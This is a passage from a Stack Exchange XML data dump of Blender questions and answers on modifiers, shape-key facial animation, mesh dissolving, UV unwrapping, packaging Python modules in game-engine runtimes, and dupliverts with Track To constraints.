two.&lt;/p&gt;&#xA;" OwnerUserId="956" LastActivityDate="2014-02-28T21:52:31.900" Title="Approach to making a 2D graphic 3D?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6603" PostTypeId="1" AcceptedAnswerId="6604" CreationDate="2014-01-29T07:01:00.917" Score="3" ViewCount="500" Body="&lt;p&gt;I know you can &lt;a href=&quot;https://blender.stackexchange.com/q/319/599&quot;&gt;copy the modifiers after adding it to one object&lt;/a&gt;, but is it possible to add one specific modifier to many objects at once?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I have many objects with different modifiers and I want to make them all collision objects. If I use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; it copies all the modifiers on the active object to the selected objects. I only want to add a collision modifier to the existing modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-01-29T07:53:27.020" Title="Is there a way to add a specific modifier to more than one object?" Tags="&lt;workflow&gt;&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6604" PostTypeId="2" ParentId="6603" CreationDate="2014-01-29T07:53:27.020" Score="11" Body="&lt;p&gt;As I experiened, the &lt;strong&gt;Copy Attributes Menu&lt;/strong&gt; addon can well support this. You can find &lt;em&gt;Copy Seleced Modifers&lt;/em&gt; down the menu, which will only copy sepcific modifier(s) without replacing the original stack. Hope it helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dlTbm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-01-29T07:53:27.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6605" PostTypeId="1" CreationDate="2014-01-29T13:36:11.637" Score="6" ViewCount="2456" Body="&lt;p&gt;I want to use Blender to make a dynamic character. I want to know if it is possible to make a number of keyframes for facial expressions and then have the ability (using python's game engine) to choose which face I want the current face to morph into?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, so I have been trying to master Python scripting with Blender's Game Engine. I would like to make a basic game where you can tell the face, within the Python Console, what expression to do, running code from the Text Editor. Here is some code I wrote in the text editor after making two keyframes 'Basis' and 'Surprise' in Blender Render:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def Face(Expression):&#xA;if Expression == 'basis':&#xA;    C.object.data.shape_keys.key_blocks['Basis'].value=0.0 #I believe this should make the animation morph to the Basis as defined in my key frame &#xA;    print('basis')&#xA;elif Expression == 'surprise':&#xA;    C.boject.data.shape_keys.key_blocks['Surprise'].value=1.0 #Again this is defined in my key frame&#xA;    print('surprise')&#xA;else:&#xA;    print('invalide entry')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I click Run Script it seems to compile with no errors. When I enter the Python Console and type &quot;Face('basis')&quot; I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;NameError: name 'Face' is not defined  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Firstly is the game engine capable of making a game where you can change character's facial expressions. Would it be better to manipulate bones in the face rather than morphing between key frames? And, how do I call the function I wrote in the text editor in the Python Console? I also want to know if I called the 'object.shape_key' from C properly from the python code?&#xA;Very detailed Q I know, thanks for the help guys! &lt;/p&gt;&#xA;" OwnerUserId="2238" LastEditorUserId="2238" LastEditDate="2014-02-05T08:37:38.897" LastActivityDate="2014-02-05T08:37:38.897" Title="Morph between different facial expressions?" Tags="&lt;python&gt;&lt;animation&gt;&lt;armature&gt;&lt;shape-keys&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6606" PostTypeId="1" AcceptedAnswerId="6620" CreationDate="2014-01-29T13:38:43.037" Score="3" ViewCount="1074" Body="&lt;p&gt;I'm wondering if I create a game using the game engine that relies on external libraries, for instance midi device libraries like pyGame.midi, if those can be bundled in the executable created by the game engine?  I want to generate midi to external devices from the game engine, but I want to be able to use python modules that use ctypes etc to connect to native dll's/.so's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the rules for packing external resources into the game engine?&#xA;Does anyone have an example where this is being done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen a lot of posts describing using socketed IO to communicate with externally packaged apps, but I would like to be able to bundle everything for an architecture into one executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or just not possible?&lt;/p&gt;&#xA;" OwnerUserId="2291" LastActivityDate="2014-01-29T20:37:01.780" Title="Packaging external libraries in the game engine 'Create Runtime'" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6607" PostTypeId="2" ParentId="6605" CreationDate="2014-01-29T14:39:49.577" Score="10" Body="&lt;p&gt;There are at least two ways to create and animate facial expressions, not even involving python (although it's possibly to automate this):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Shape Keys&lt;/strong&gt; - allows you to deform mesh vertices and blend multiple &quot;states&quot; together and also animate&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Armature&lt;/strong&gt; - a skeleton to control the mesh, with strong control over deformation using vertex weights, but also more complicated&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I recommend to try out Shape Keys:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Start Blender and remove (&lt;kbd&gt;X&lt;/kbd&gt;) the default cube &lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;em&gt;Monkey&lt;/em&gt; (aka Suzanne)&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;em&gt;Object data&lt;/em&gt; tab in &lt;em&gt;Properties Editor&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Click the plus button &lt;code&gt;+&lt;/code&gt; in the &lt;em&gt;Shape Keys&lt;/em&gt; panel twice (will create &lt;em&gt;Basis&lt;/em&gt; and &lt;em&gt;Key 1&lt;/em&gt;)&lt;br&gt;&lt;br&gt;&lt;img src=&quot;https://i.stack.imgur.com/wOkqN.png&quot; alt=&quot;Shape Keys Panel with Basis and Key 1 for Monkey mesh&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Switch Suzanne into &lt;em&gt;Edit Mode&lt;/em&gt; (&lt;kbd&gt;Tab&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Deselect all (&lt;kbd&gt;A&lt;/kbd&gt;) and pick some vertices, e.g. the right eyebrow&lt;/li&gt;&#xA;&lt;li&gt;Enable &lt;em&gt;Proportional Editing&lt;/em&gt; if you wish to deform nearby, non-selected vertices as well&lt;/li&gt;&#xA;&lt;li&gt;Move the vertices up a bit (&lt;kbd&gt;G&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Go back to &lt;em&gt;Object Mode&lt;/em&gt; (&lt;kbd&gt;Tab&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;With &lt;em&gt;Key 1&lt;/em&gt; in the &lt;em&gt;Shape Keys&lt;/em&gt; panel selected, move the &lt;em&gt;Value&lt;/em&gt; slider to see the transition between the base shape and the keyed shape.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;kbd&gt;I&lt;/kbd&gt; over the slider or right-click and pick &lt;em&gt;Insert Keyframe&lt;/em&gt; to animate the value and thus the facial expression transition!&lt;br&gt;&lt;br&gt;&lt;img src=&quot;https://i.stack.imgur.com/IxuKV.gif&quot; alt=&quot;Animated Shape Keys - Suzanne&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can create a Shape Key with Python like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shapekey = bpy.context.object.shape_key_add(name=&quot;Key&quot;, from_mix=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.types.Object.html?highlight=shape_key#bpy.types.Object.shape_key_add&quot;&gt;API docs - Object.shape_key_add&lt;/a&gt; for details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value slider can be animated by inserting a keyframe, here's the most simple way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# we stored the shape key reference above in the variable &quot;shapekey&quot;,&#xA;# which should be equal to bpy.context.object.data.shape_keys.key_blocks['Key']&#xA;shapekey.value = 0.3 # set value &#xA;shapekey.keyframe_insert(data_path=&quot;value&quot;, frame=15) # now keyframe 0.3 at frame 15&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.types.bpy_struct.html#bpy.types.bpy_struct.keyframe_insert&quot;&gt;API docs - keyframe_insert()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;More on Shape Keys:&lt;br&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Techs/Shape/Shape_Keys&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Techs/Shape/Shape_Keys&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look into Armature pose animations, make sure to have a look at the &lt;em&gt;Pose Library&lt;/em&gt; panel!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also worth to have a look at the NLA editor (non-linear animation). It allows you to blend multiple Actions together:&lt;br&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/NLA&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/NLA&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-01-29T14:39:49.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6608" PostTypeId="1" AcceptedAnswerId="6609" CreationDate="2014-01-29T15:26:58.863" Score="1" ViewCount="383" Body="&lt;p&gt;I am trying to store the grid scale, but keep getting an error for being in the text editor view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.area.type = &quot;VIEW_3D&quot;&#xA;print(bpy.context.space_data.grid_scale)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but am getting an attribute error for &quot;SpaceTextEditor&quot; not having a &quot;grid_scale&quot;. However, the space does change to the 3d view, so the first line is going through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2294" LastActivityDate="2014-01-29T15:55:17.030" Title="How to get 3d view grid properties?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6609" PostTypeId="2" ParentId="6608" CreationDate="2014-01-29T15:55:17.030" Score="2" Body="&lt;p&gt;Your code works for me in 2.69, but there might be timing issues (&lt;code&gt;grid_scale&lt;/code&gt; accessed but the view has not finished changing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get all 3D Views' &lt;code&gt;grid_scale&lt;/code&gt; as a list, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;grid_scales = [area.spaces[0].grid_scale for area in bpy.context.screen.areas if area.type == 'VIEW_3D']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-01-29T15:55:17.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6610" PostTypeId="1" AcceptedAnswerId="6615" CreationDate="2014-01-29T16:11:22.757" Score="0" ViewCount="2363" Body="&lt;p&gt;I have this mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G17Wn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the faces are triangulated. I want to know if there is a way to re-polygonize the entire mesh (make use of NGon support in Blender 2.63+), or a modifier or something else&lt;/p&gt;&#xA;" OwnerDisplayName="user2087" LastEditorUserId="1363" LastEditDate="2014-01-29T17:07:44.233" LastActivityDate="2015-04-02T05:35:12.967" Title="Re-Polygonize a tessellated / triangulated mesh?" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;topology&gt;&lt;bmesh&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6611" PostTypeId="2" ParentId="6610" CreationDate="2014-01-29T16:32:40.417" Score="0" Body="&lt;p&gt;The Remesh modifier will completely redo the mesh, but it destroys your UV maps, and the kind of mesh you get out of it might not suit this kind of mechanical object. It also requires either loosing detail, or increasing mesh density. After remeshing you could try decimating or manually deleting excess edge loops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best quality solution is to remesh your figure manually. It's also the slowest option.&lt;/p&gt;&#xA;" OwnerUserId="2288" LastActivityDate="2014-01-29T16:32:40.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6612" PostTypeId="1" CreationDate="2014-01-29T16:41:31.357" Score="3" ViewCount="1107" Body="&lt;p&gt;Suppose I have a flat surface that looks like a T-junction. There are at least three ways to do it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Single concave polygon&lt;/li&gt;&#xA;&lt;li&gt;Several convex polygons&lt;/li&gt;&#xA;&lt;li&gt;Several convex quads&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lG1Bf.png&quot; alt=&quot;The three ways&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(note that the right polygon on the second image is not quad, as its left side contains 4 vertices)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first way seems the most natural, as my surface remains a single entity. If I want to move it, I just select it all in one click and do it. The other ways require me to manually select all polygons that my surface is composed of. Not very convenient. Vertex groups alleviate it somewhat, but still. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2) and (3) unwrap correctly. Unwrapping of (1), however, results in a very weird map:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2oGhF.png&quot; alt=&quot;Unwrapping of concave polygon&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing unwrapping wrong? Or Blender just not supposed to unwrap concave polygons correctly? Will I be fine if I stick to convex &lt;em&gt;n&lt;/em&gt;-gons? Or I should avoid them, too, and use simple quads only?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://chireiden.torlan.ru/blender-unwrapping.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://chireiden.torlan.ru/blender-unwrapping.zip&lt;/a&gt; - here is zipped .blend file, just in case.&lt;/p&gt;&#xA;" OwnerUserId="2293" LastActivityDate="2014-01-29T17:58:46.493" Title="UV unwrapping of complex possibly concave polygons" Tags="&lt;modeling&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6613" PostTypeId="1" CreationDate="2014-01-29T17:10:39.973" Score="4" ViewCount="1883" Body="&lt;p&gt;Selecting a cube's vertex displays an orange point (sure it is vertex) with its connected three edges (edges highlighted as orange to black gradient).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, selecting a vertex in 3ds Max only highlights the vertex point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Blender, when selecting a vertex, it does highlight the vertex point &lt;strong&gt;with its connected edges&lt;/strong&gt;. I don't want to see gradient orange edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an option to change how vertices are highlighted?&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="1363" LastEditDate="2014-01-29T17:36:30.393" LastActivityDate="2014-01-29T20:59:28.237" Title="Vertex selection without edge highlighting?" Tags="&lt;mesh&gt;&lt;interface&gt;&lt;3d-view&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6614" PostTypeId="2" ParentId="6613" CreationDate="2014-01-29T17:14:08.393" Score="5" Body="&lt;p&gt;What is or is not shown is in the &lt;em&gt;Properties Region&lt;/em&gt; &lt;kbd&gt;N&lt;/kbd&gt; on the right hand side of the 3D viewport. Untick edges in &lt;em&gt;Mesh Display &amp;rarr; Overlays&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aEmbO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can show/hide vertexes, edges, vertex normals, face normals, etc.&lt;/p&gt;&#xA;" OwnerUserId="2288" LastEditorUserId="599" LastEditDate="2014-01-29T20:59:28.237" LastActivityDate="2014-01-29T20:59:28.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6615" PostTypeId="2" ParentId="6610" CreationDate="2014-01-29T17:22:12.517" Score="3" Body="&lt;p&gt;Assuming you have no way to access the original (non-triangulated mesh), there's no way to get the &lt;strong&gt;exact&lt;/strong&gt; polygons back, which may have existed at some point in some other application. But you can try several things in Blender, to get some polygons from any triangulated or tessellated model.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You can try the &lt;strong&gt;Limited Dissolve&lt;/strong&gt; operator (&lt;kbd&gt;X&lt;/kbd&gt;), which removes less important geometry using an angle to determine the importance (a subdivided plane will turn into a single quad using an minimal angle of 0.001°, since it's flat).&lt;br&gt;&lt;br&gt;There's also a modifier, that acts the same, but non-destructive: &lt;strong&gt;Decimate&lt;/strong&gt; set to &lt;em&gt;Planar&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Less automated, but potentially better results are achievable with &lt;strong&gt;Dissolve Edges&lt;/strong&gt;. Switch to edge select mode, select the edges you wanna get rid of and execute the operator (&lt;kbd&gt;X&lt;/kbd&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can also select multiple triangles and try to join them using &lt;strong&gt;Make Edge/Face&lt;/strong&gt; (&lt;kbd&gt;F&lt;/kbd&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="55" LastEditDate="2015-04-02T05:33:34.763" LastActivityDate="2015-04-02T05:33:34.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6617" PostTypeId="2" ParentId="6612" CreationDate="2014-01-29T17:58:46.043" Score="1" Body="&lt;p&gt;The normal for the plane seems to be the problem. If you recalculate the normal using Ctrl+Shift+N on your mesh, it seems to unwrap correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;code&gt;Project from View&lt;/code&gt; in the UV unwrap options, that seems to work without doing any modification on the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p0W7J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-01-29T17:58:46.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6618" PostTypeId="2" ParentId="6612" CreationDate="2014-01-29T17:58:46.493" Score="1" Body="&lt;p&gt;I can't say why, but if you &lt;strong&gt;rotate it 360°&lt;/strong&gt; (so basically no change), it will unwrap correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried &lt;em&gt;Remove Doubles&lt;/em&gt;, &lt;em&gt;Remove Doubles UV&lt;/em&gt;, removed &lt;em&gt;Only Faces&lt;/em&gt; + &lt;em&gt;Make Edge / Face&lt;/em&gt; and &lt;code&gt;Mesh.validate()&lt;/code&gt;, but none of them helped. Doubling the scale did not work either, but something like scale factor 2.5847 worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;em&gt;Smart UV Project&lt;/em&gt;, which works a bit differently but gives proper result (with different orientation however) without the above rotation hack.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-01-29T17:58:46.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6619" PostTypeId="1" AcceptedAnswerId="6621" CreationDate="2014-01-29T18:08:27.687" Score="8" ViewCount="6496" Body="&lt;p&gt;I have this object: &lt;img src=&quot;https://i.stack.imgur.com/LZNx0.png&quot; alt=&quot;object&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And these vertices connected at their center: &lt;img src=&quot;https://i.stack.imgur.com/Jz4qf.png&quot; alt=&quot;vertices&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to multiply the object and place mutiples of it at the center of the different vertices, and have all the multiples oriented with their Z-axis away from the center vertex; like so: &lt;img src=&quot;https://i.stack.imgur.com/loJtd.png&quot; alt=&quot;partial result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the third image, the result is not perfect and the local Z-axis of the object is not aligned well.&lt;/p&gt;&#xA;" OwnerUserId="2296" LastActivityDate="2017-05-01T09:33:58.793" Title="Multiply object and place at vertices with specific orientation" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;objects&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6620" PostTypeId="2" ParentId="6606" CreationDate="2014-01-29T18:58:25.503" Score="2" Body="&lt;p&gt;The limitations of the &lt;code&gt;Make Runtime&lt;/code&gt; Function is that it can only work on the Blend file that's currently open. If your game has external assets (unpacked textures, unpacked sound, other blender file as libs, external Python modules), these will not be packaged automatically.&lt;/p&gt;&#xA;&lt;p&gt;But it's definitely possible to make a stand-alone package with all the Python modules. It's just a matter of knowing where everything goes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Python Module Basics&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.python.org/3/tutorial/modules.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Understand&lt;/a&gt; where Python looks for modules (hint: local modules override system modules)&lt;/li&gt;&#xA;&lt;li&gt;Because the current path of the Blend file is always the first place Blender will look for Python modules, you can just place any module right next to the Blend file. Alternatively, I'd like to keep all my non-standard modules in one folder. So if you have a &lt;code&gt;myModule&lt;/code&gt;, I would place it in a directory called &lt;code&gt;externs&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;You can access modules you've placed under &lt;code&gt;externs&lt;/code&gt; by &lt;code&gt;import externs.myModule&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;Packaging&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;For packaging a runtime to include all the external libraries, you just need to &lt;strong&gt;keep everything in place relative to the Blend file&lt;/strong&gt;, since the blend file is always going to be your starting point. This applies to Python scripts/modules as well as unpacked asset such as textures and sound.&lt;/p&gt;&#xA;&lt;p&gt;Pure Python modules are easier to deal with because you don't have to worry about them not working on different OSes. For dynamically linked libs (dlls/so's), just make sure you have a working version for each of the platform you are releasing for.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Folder Structure&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, the structure of a packed runtime is slightly different for each OS. So you'd have to know where the Blend file is in order to copy the py modules to the right place.&lt;/p&gt;&#xA;&lt;p&gt;On the mac, a runtime is pretty much the original &lt;code&gt;blenderplayer.app&lt;/code&gt; with a game.blend file stored under the &lt;code&gt;blenderplayer.app/Content/MacOS/Resources/&lt;/code&gt; directory. So typically all your external asset that's not packed by &lt;code&gt;make runtime&lt;/code&gt; need to go in the &lt;code&gt;myGame.app/Content/MacOS/Resources/&lt;/code&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;On Windows, a single .exe is created that contains the blend file. So, any external asset go relative to the .exe file.&lt;/p&gt;&#xA;&lt;p&gt;I believe Linux is the similar to Windows, external asset go relative to the binary blob.&lt;/p&gt;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-01-29T20:37:01.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6621" PostTypeId="2" ParentId="6619" CreationDate="2014-01-29T20:46:17.443" Score="12" Body="&lt;p&gt;You could use &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication/DupliVerts&quot; rel=&quot;noreferrer&quot;&gt;Dupliverts&lt;/a&gt;&lt;/em&gt; to add one copy of the object to each vertex, and then use a &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Tracking/Track_To&quot; rel=&quot;noreferrer&quot;&gt;Constraint&lt;/a&gt;&lt;/em&gt; to orient them correctly.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Parent the rounded cylinder object to the vertex object by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9b9yA.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Dupliverts&lt;/em&gt; in &lt;em&gt;Properties &amp;gt; Object &amp;gt; Duplication&lt;/em&gt; with the vertex object selected and scale the rounded cylinder object down (&lt;kbd&gt;S&lt;/kbd&gt;):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FLYnw.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the rounded cylinder object and snap the &lt;em&gt;3D cursor&lt;/em&gt; to it with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/07v9I.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an empty (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Empty &amp;gt; Plain Axes&lt;/em&gt;), it should appear at the center of the rounded cylinder object (where the 3D cursor is). Then select the vertex object and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to make the dupliface objects real:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mEYFk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With one of the rounded cylinder objects selected, add a &lt;em&gt;Track To&lt;/em&gt; constraint in &lt;em&gt;Properties &amp;gt; Constraints&lt;/em&gt; and tweak the axes settings:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kSO18.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the same rounded cylinder object selected, press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&amp;gt; Object Data&lt;/em&gt; to select all the other rounded cylinder objects, then copy the constraints by pressing &lt;em&gt;3D View &amp;gt; Header &amp;gt; Object &amp;gt; Constraints &amp;gt; Copy Constraints to Selected Objects&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ioAgb.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If you then snap the vertex object to the 3D cursor, and then delete the two center rounded cylinder objects, you get this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zyhVc.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Removing the constraints&lt;/h1&gt;&#xA;&lt;p&gt;To &amp;quot;apply&amp;quot; the constraints to the object transforms, select all the rounded cylinder objects again:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select one of them and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&amp;gt; Object 